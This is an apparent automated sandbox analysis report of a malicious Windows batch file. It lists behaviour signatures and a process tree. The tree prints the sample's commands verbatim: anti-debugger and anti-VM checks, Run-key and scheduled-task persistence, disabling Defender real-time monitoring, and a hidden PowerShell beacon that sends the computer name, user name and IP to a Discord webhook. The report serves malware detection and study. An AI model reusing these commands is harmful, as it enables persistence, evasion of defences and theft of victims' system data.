Analysis

  • max time kernel
    899s
  • max time network
    477s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/08/2026, 13:05

General

  • Target
    deepseek_batch_20260811_737ff8.bat
  • Size 26KB
  • Sample260811-qbtnbaee55
  • SHA256 9b7868fdfe566125ac831e0c5e618aa1595686c6ccbca397700922f807fae429
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Adds Run key to start application 2 TTPs 4 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Discovers running processes 1 TTPs 2 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers system information 1 TTPs 2 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Modifies registry key 1 TTPs 4 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260811_737ff8.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4500
    • C:\Windows\system32\tasklist.exe
      tasklist
      2⤵
      • Discovers running processes
      • Suspicious use of AdjustPrivilegeToken
      PID:5284
    • C:\Windows\system32\findstr.exe
      findstr /i "ollydbg x64dbg ida windbg"
      2⤵
        PID:5112
      • C:\Windows\system32\systeminfo.exe
        systeminfo
        2⤵
        • Gathers system information
        PID:4636
      • C:\Windows\system32\findstr.exe
        findstr /i "VMware VirtualBox QEMU"
        2⤵
          PID:1608
        • C:\Windows\system32\reg.exe
          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "WindowsSystemHelper" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260811_737ff8.bat" /f
          2⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:4312
        • C:\Windows\system32\net.exe
          net session
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4104
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            3⤵
              PID:2640
          • C:\Windows\system32\reg.exe
            reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "WindowsSystemHelper" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260811_737ff8.bat" /f
            2⤵
            • Adds Run key to start application
            • Modifies registry key
            PID:3160
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "WindowsSystemHelper" /tr "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260811_737ff8.bat" /sc daily /st 09:00 /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5852
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Disables one or more Microsoft Defender components
            • Hide Artifacts: Ignore Process Interrupts
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4332
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command $webhook = "https://discord.com/api/webhooks/1536719734295502972/ZeuuHMTujRhSRdbN8Iq3rpIq_4ehHa2CstDLSuAJYZFfi8sD-xO_zLMxhV0C23SPOu3N"; $bot_id = "NEXUS-2029129702"; $computer = $env:COMPUTERNAME; $username = $env:USERNAME; $ip = (Invoke-WebRequest -Uri "http://ipinfo.io/ip" -UseBasicParsing).Content.Trim(); $timestamp = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss"); $embed = @{ title = "🟢 Bot Online"; color = 0x00ff88; fields = @( @{ name = "Bot ID"; value = $bot_id; inline = $true }, @{ name = "Computer"; value = $computer; inline = $true }, @{ name = "User"; value = $username; inline = $true }, @{ name = "IP"; value = $ip; inline = $true } ); timestamp = $timestamp }; $payload = @{ content = "📡 **Heartbeat**"; embeds = @($embed) }; try { Invoke-RestMethod -Uri $webhook -Method Post -Body ($payload
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:3472
        • C:\Windows\system32\tasklist.exe
          tasklist
          1⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:3228
        • C:\Windows\system32\findstr.exe
          findstr /i "ollydbg x64dbg ida windbg"
          1⤵
            PID:1084
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            1⤵
            • Gathers system information
            PID:5432
          • C:\Windows\system32\findstr.exe
            findstr /i "VMware VirtualBox QEMU"
            1⤵
              PID:5528
            • C:\Windows\system32\reg.exe
              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "WindowsSystemHelper" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260811_737ff8.bat" /f
              1⤵
              • Adds Run key to start application
              • Modifies registry key
              PID:2604
            • C:\Windows\system32\net.exe
              net session
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:860
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 session
                2⤵
                  PID:1724
              • C:\Windows\system32\reg.exe
                reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "WindowsSystemHelper" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260811_737ff8.bat" /f
                1⤵
                • Adds Run key to start application
                • Modifies registry key
                PID:1788
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn "WindowsSystemHelper" /tr "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260811_737ff8.bat" /sc daily /st 09:00 /f
                1⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4604
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
                1⤵
                • Command and Scripting Interpreter: PowerShell
                • Disables one or more Microsoft Defender components
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2488
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command $webhook = "https://discord.com/api/webhooks/1536719734295502972/ZeuuHMTujRhSRdbN8Iq3rpIq_4ehHa2CstDLSuAJYZFfi8sD-xO_zLMxhV0C23SPOu3N"; $bot_id = "NEXUS-2030717908"; $computer = $env:COMPUTERNAME; $username = $env:USERNAME; $ip = (Invoke-WebRequest -Uri "http://ipinfo.io/ip" -UseBasicParsing).Content.Trim(); $timestamp = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss"); $embed = @{ title = "🟢 Bot Online"; color = 0x00ff88; fields = @( @{ name = "Bot ID"; value = $bot_id; inline = $true }, @{ name = "Computer"; value = $computer; inline = $true }, @{ name = "User"; value = $username; inline = $true }, @{ name = "IP"; value = $ip; inline = $true } ); timestamp = $timestamp }; $payload = @{ content = "📡 **Heartbeat**"; embeds = @($embed) }; try { Invoke-RestMethod -Uri $webhook -Method Post -Body ($payload
                1⤵
                • Command and Scripting Interpreter: PowerShell
                PID:4280
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k GPSvcGroup
                1⤵
                  PID:4672
                • C:\Windows\system32\sihost.exe
                  sihost.exe
                  1⤵
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of WriteProcessMemory
                  PID:1924
                  • C:\Windows\explorer.exe
                    explorer.exe /LOADSAVEDWINDOWS
                    2⤵
                    • Boot or Logon Autostart Execution: Active Setup
                    • Enumerates connected drives
                    • Checks SCSI registry key(s)
                    • Modifies Internet Explorer settings
                    • Modifies registry class
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    • Suspicious use of SetWindowsHookEx
                    PID:1876
                • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                  "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                  1⤵
                  • Modifies registry class
                  • Suspicious use of SetWindowsHookEx
                  PID:1300
                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                  1⤵
                  • Modifies registry class
                  • Suspicious use of SetWindowsHookEx
                  PID:5200
                • C:\Windows\System32\SecurityHealthHost.exe
                  \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
                  1⤵
                    PID:4728

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_rb1udi5e.1zj.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rb1udi5e.1zj.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        memory/1300-26-0x000002AB82D30000-0x000002AB82E30000-memory.dmp

                        memory/1300-28-0x000002AB82B30000-0x000002AB82B50000-memory.dmp

                        memory/1300-25-0x000002AB828F0000-0x000002AB82910000-memory.dmp

                        memory/1300-52-0x000002AB84020000-0x000002AB84040000-memory.dmp

                        memory/1300-20-0x000002AB801E0000-0x000002AB802E0000-memory.dmp

                        memory/1300-19-0x000002AB801E0000-0x000002AB802E0000-memory.dmp

                        memory/1300-18-0x000002AB801E0000-0x000002AB802E0000-memory.dmp

                        memory/1876-193-0x000000000F770000-0x000000000F7F0000-memory.dmp

                        memory/1876-194-0x000000000F770000-0x000000000F7F0000-memory.dmp

                        memory/4332-7-0x000001855BEF0000-0x000001855BEFA000-memory.dmp

                        memory/4332-6-0x000001855BE30000-0x000001855BEE2000-memory.dmp

                        memory/4332-5-0x000001855BE10000-0x000001855BE2E000-memory.dmp

                        memory/4332-2-0x000001855BB80000-0x000001855BBA2000-memory.dmp